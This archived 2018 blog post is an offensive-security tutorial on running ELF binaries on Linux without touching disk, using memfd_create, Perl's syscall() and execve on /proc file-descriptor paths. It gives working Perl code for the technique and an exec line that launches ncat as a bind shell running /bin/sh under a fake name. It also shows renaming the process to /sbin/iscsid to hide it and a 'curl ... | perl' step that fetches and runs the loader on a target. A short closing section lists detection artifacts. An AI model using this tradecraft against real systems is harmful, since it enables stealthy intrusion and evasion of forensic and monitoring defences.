In-Memory-Only ELF Execution (Without tmpfs)

Published: 2018-03-31 · Archived: 2026-04-05 14:39:15 UTC

10 minute read

In which we run a normal ELF binary on Linux without touching the filesystem (except `/proc`).

Introduction

Every so often, it's handy to execute an ELF binary without touching disk. Normally, putting it somewhere under `/run/user` or something else backed by tmpfs works just fine, but, outside of disk forensics, that looks like a regular file operation. Wouldn't it be cool to just grab a chunk of memory, put our binary in there, and run it without monkey-patching the kernel, rewriting `execve(2)` in userland, or loading a library into another process?

Enter `memfd_create(2)`. This handy little system call is something like `malloc(3)`, but instead of returning a pointer to a chunk of memory, it returns a file descriptor which refers to an anonymous (i.e. memory-only) file. This is only visible in the filesystem as a symlink in `/proc/<PID>/fd/` (e.g. `/proc/10766/fd/3`), which, as it turns out, `execve(2)` will happily use to execute an ELF binary.

The manpage has the following to say on the subject of naming anonymous files:

> The name supplied in `name` [an argument to `memfd_create(2)`] is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory `/proc/self/fd/`. The displayed name is always prefixed with `memfd:` and serves only for debugging purposes. Names do not affect the behavior of the file descriptor, and as such multiple files can have the same name without any side effects.

In other words, we can give it a name (to which `memfd:` will be prepended), but what we call it doesn't really do anything except help debugging (or forensicing). We can even give the anonymous file an empty name.

Listing `/proc/<PID>/fd`, anonymous files look like this:

```
 stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~$ ls -l /proc/10766/fd
total 0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 0 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 1 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 2 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 3 -> /memfd:kittens (deleted)
lrwx------ 1 stuart stuart 64 Mar 30 23:23 4 -> /memfd: (deleted)
```

Here we see two anonymous files, one named `kittens` and one without a name at all. The `(deleted)` is inaccurate and looks a bit weird but *c'est la vie*.

Caveats

Unless we land on target with some way to call `memfd_create(2)`, from our initial vector (e.g. injection into a Perl or Python program with `eval()`), we'll need a way to execute system calls on target. We could drop a binary to do this, but then we've failed to acheive fileless ELF execution. Fortunately, Perl's `syscall()` solves this problem for us nicely.

We'll also need a way to write an entire binary to the target's memory as the contents of the anonymous file. For this, we'll put it in the source of the script we'll write to do the injection, but in practice pulling it down over the network is a viable alternative.

As for the binary itself, it has to be, well, a binary. Running scripts starting with `#!/interpreter` doesn't seem to work.

The last thing we need is a sufficiently new kernel. Anything version 3.17 (released 05 October 2014) or later will work. We can find the target's kernel version with `uname -r`.

```
 stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~$ uname -r
4.4.0-116-generic
```

On Target

Aside `execve(2)`ing an anonymous file instead of a regular filesystem file and doing it all in Perl, there isn't much difference from starting any other program. Let's have a look at the system calls we'll use.

`memfd_create(2)`

Much like a memory-backed `fd = open(name, O_CREAT|O_RDWR, 0700)`, we'll use the `memfd_create(2)` system call to make our anonymous file. We'll pass it the `MFD_CLOEXEC` flag (analogous to `O_CLOEXEC`), so that the file descriptor we get will be automatically closed when we `execve(2)` the ELF binary.

Because we're using Perl's `syscall()` to call the `memfd_create(2)`, we don't have easy access to a user-friendly libc wrapper function or, for that matter, a nice human-readable `MFD_CLOEXEC` constant. Instead, we'll need to pass `syscall()` the raw system call number for `memfd_create(2)` and the numeric constant for `MEMFD_CLOEXEC`. Both of these are found in header files in `/usr/include`. System call numbers are stored in `#define`s starting with `__NR_`.

```
 stuart@ubuntu-s-1vcpu-1gb-nyc1-01:/usr/include$ egrep -r '__NR_memfd_create|MFD_CLOEXEC' *
asm-generic/unistd.h:#define __NR_memfd_create 279
asm-generic/unistd.h:__SYSCALL(__NR_memfd_create, sys_memfd_create)
linux/memfd.h:#define MFD_CLOEXEC               0x0001U
x86_64-linux-gnu/asm/unistd_64.h:#define __NR_memfd_create 319
x86_64-linux-gnu/asm/unistd_32.h:#define __NR_memfd_create 356
x86_64-linux-gnu/asm/unistd_x32.h:#define __NR_memfd_create (__X32_SYSCALL_BIT + 319)
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
```

```
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
```

Looks like `memfd_create(2)` is system call number 319 on 64-bit Linux (`#define __NR_memfd_create` in a file with a name ending in `_64.h`), and `MFD_CLOEXEC` is a consatnt `0x0001U` (i.e. 1, in `linux/memfd.h`). Now that we've got the numbers we need, we're almost ready to do the Perl equivalent of C's `fd = memfd_create(name, MFD_CLOEXEC)` (or more specifically, `fd = syscall(319, name, MFD_CLOEXEC)`).

The last thing we need is a name for our file. In a file listing, `/memfd:` is probably a bit better-looking than `/memfd:kittens` , so we'll pass an empty string to `memfd_create(2)` via `syscall()` . Perl's `syscall()` won't take string literals (due to passing a pointer under the hood), so we make a variable with the empty string and use it instead.

Putting it together, let's finally make our anonymous file:

```
 my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
        die "memfd_create: $!";
}
```

We now have a file descriptor number in `$fd` . We can wrap that up in a Perl one-liner which lists its own file descriptors after making the anonymous file:

```
 stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~$ perl -e '$n="";die$!if-1==syscall(319,$n,1);print`ls -l /proc/$$/fd`'
total 0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 0 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 1 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 2 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 3 -> /memfd: (deleted)
```

`write(2)`

Now that we have an anonymous file, we need to fill it with ELF data. First we'll need to get a Perl filehandle from a file descriptor, then we'll need to get our data in a format that can be written, and finally, we'll write it.

Perl's `open()` , which is normally used to open files, can also be used to turn an already-open file descriptor into a file handle by specifying something like `>&=X` (where X is a file descriptor) instead of a file name. We'll also want to enable autoflush on the new file handle:

```
 open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);
```

We now have a file handle which refers to our anonymous file.

Next we need to make our binary available to Perl, so we can write it to the anonymous file. We'll turn the binary into a bunch of Perl print statements of which each write a chunk of our binary to the anonymous file.

```
perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbina
```

This will give us many, many lines similar to:

```
print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/
print $FH pack q/H*/, q/4000000000000000c8010000000000000000000400038000700400017000300/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;
```

Exceuting those puts our ELF binary into memory. Time to run it.

Optional: `fork(2)`

Ok, `fork(2)` is isn't actually a system call; it's really a libc function which does all sorts of stuff under the hood. Perl's `fork()` is functionally identical to libc's as far as process-making goes: once it's called, there are now two nearly identical processes running (of which one, usually the child, often finds itself calling `exec(2)`). We don't actually have to spawn a new process to run our ELF binary, but if we want to do more than just run it and exit (say, run it multiple times), it's the way to go. In general, using `fork()` to spawn multiple children looks something like:

```
while ($keep_going) {
	my $pid = fork();
	if (-1 == $pid) { # Error
		die "fork: $!";
	}
	if (0 == $pid) { # Child
		# Do child things here
		exit 0;
	}
}
```

Another handy use of `fork()`, especially when done twice with a call to `setsid(2)` in the middle, is to spawn a disassociated child and let the parent terminate:

```
# Spawn child
my $pid = fork();
if (-1 == $pid) { # Error
	die "fork1: $!";
}
if (0 != $pid) { # Parent terminates
	exit 0;
}
```

```
# In the child, become session leader
if (-1 == syscall(112)) {
        die "setsid: $!";
}

# Spawn grandchild
$pid = fork();
if (-1 == $pid) { # Error
        die "fork2: $!";
}
if (0 != $pid) { # Child terminates
        exit 0;
}
# In the grandchild here, do grandchild things
```

We can now have our ELF process run multiple times or in a separate process. Let's do it.

`execve(2)`

Linux process creation is a funny thing. Ever since the early days of Unix, process creation has been a combination of not much more than duplicating a current process and swapping out the new clone's program with what should be running, and on Linux it's no different. The `execve(2)` system call does the second bit: it changes one running program into another. Perl gives us `exec()`, which does more or less the same, albiet with easier syntax.

We pass to `exec()` two things: the file containing the program to execute (i.e. our in-memory ELF binary) and a list of arguments, of which the first element is usually taken as the process name. Usually, the file and the process name are the same, but since it'd look bad to have `/proc/<PID>/fd/3` in a process listing, we'll name our process something else.

The syntax for calling `exec()` is a bit odd, and explained much better in the documentation. For now, we'll take it on faith that the file is passed as a string in curly braces and there follows a comma-separated list of process arguments. We can use the variable `$$` to get the pid of our own Perl process. For the sake of clarity, the following assumes we've put `ncat` in memory, but in practice, it's better to use something which takes arguments that don't look like a backdoor.

```
exec {"/proc/$$/fd/$fd"} "kittens", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!";
```

The new process won't have the anonymous file open as a symlink in `/proc/<PID>/fd`, but the anonymous file will be visible as the `/proc/<PID>/exe` symlink, which normally points to the file containing the program which is being executed by the process.

We've now got an ELF binary running without putting anything on disk or even in the filesystem.

Scripting it

It's not likely we'll have the luxury of being able to sit on target and do all of the above by hand. Instead, we'll pipe the script (`elfload.pl` in the example below) via SSH to Perl's stdin, and use a bit of shell trickery to keep `perl` with no arguments from showing up in the process list:

```
cat ./elfload.pl | ssh user@target /bin/bash -c '"exec -a /sbin/iscsid perl"'
```

This will run Perl, renamed in the process list to `/sbin/iscsid` with no arguments. When not given a script or a bit of code with `-e`, Perl expects a script on stdin, so we send the script to perl stdin via our local SSH client. The end result is our script is run without touching disk at all.

Without creds but with access to the target (i.e. after exploiting on), in most cases we can probably use the devopsy `curl http://server/elfload.pl | perl` trick (or intercept someone doing the trick for us). As long as the script makes it to Perl's stdin and Perl gets an EOF when the script's all read, it doesn't particularly matter how it gets there.

Artifacts

Once running, the only real difference between a program running from an anonymous file and a program running from a normal file is the `/proc/<PID>/exe` symlink.

If something's monitoring system calls (e.g. someone's running `strace -f` on sshd), the `memfd_create(2)` calls will stick out, as will passing paths in `/proc/<PID>/fd` to `execve(2)`.

Other than that, there's very little evidence anything is wrong.

Demo

To see this in action, have a look at this asciicast.

TL;DR

In C (translate to your non-disk-touching language of choice):

1. `fd = memfd_create("", MFD_CLOEXEC);`
2. `write(fd, elfbuffer, elfbuffer_len);`
3. `asprintf(p, "/proc/self/fd/%i", fd); execl(p, "kittens", "arg1", "arg2", NULL);`

Updated 20170402 to link to https://0x00sec.org/t/super-stealthy-droppers/3715, from where I got `execve("/proc/<PID>/fd/<FD>...`

Source: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html